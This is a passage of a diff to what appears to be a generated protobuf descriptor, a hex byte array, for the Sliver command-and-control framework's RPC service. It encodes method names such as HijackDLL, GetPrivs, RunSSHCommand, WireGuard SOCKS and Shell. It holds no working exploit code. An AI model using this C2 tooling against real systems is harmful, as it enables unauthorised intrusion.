0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, 0x75, - 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, 0x48, - 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, - 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, - 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, - 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, - 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, - 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, - 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, - 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x57, 0x0a, 0x15, 0x53, 0x74, 0x61, 0x72, 0x74, - 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, - 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, - 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, - 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, - 0x12, 0x53, 0x0a, 0x14, 0x47, 0x65, 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, - 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, - 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, - 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x55, 0x0a, 0x14, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x70, 0x6f, - 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x21, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, - 0x64, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, - 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, - 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x3b, 0x0a, 0x0b, - 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x15, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, - 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, - 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, - 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, - 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, - 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x44, 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, - 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, - 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, - 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, 0x69, - 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, - 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, - 0x6f, 0x6e, 0x73, 0x12, 0x5c, 0x0a, 0x15, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, - 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, - 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, - 0x1a, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, - 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x53, 0x0a, 0x12, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, - 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, - 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x74, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, + 0x73, 0x74, 0x12, 0x53, 0x0a, 0x12, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, + 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, + 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, + 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, + 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, + 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, + 0x6b, 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, + 0x6b, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, + 0x73, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x57, 0x0a, 0x15, 0x53, 0x74, 0x61, 0x72, + 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, + 0x72, 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, + 0x72, 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, + 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, + 0x72, 0x12, 0x53, 0x0a, 0x14, 0x47, 0x65, 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, + 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x55, 0x0a, 0x14, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x70, + 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x21, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, + 0x77, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, + 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, + 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x3b, 0x0a, + 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x15, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, + 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x0c, 0x43, 0x6c, + 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, + 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, + 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, + 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x44, 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, + 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, + 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, + 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, + 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, + 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, + 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x5c, 0x0a, 0x15, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, + 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, + 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, + 0x71, 0x1a, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, + 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x53, 0x0a, 0x12, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, + 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, - 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x50, 0x0a, 0x11, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, - 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, - 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, - 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, - 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, + 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, + 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x50, 0x0a, 0x11, 0x45, 0x78, 0x65, 0x63, 0x57, + 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, + 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, + 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, + 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, + 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, + 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, + 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, + 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, + 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, - 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, - 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, - 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, - 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, - 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, - 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, - 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, - 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, - 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, - 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, - 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, - 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, - 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, - 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, - 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, - 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, - 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, - 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, - 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, - 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, - 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, - 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 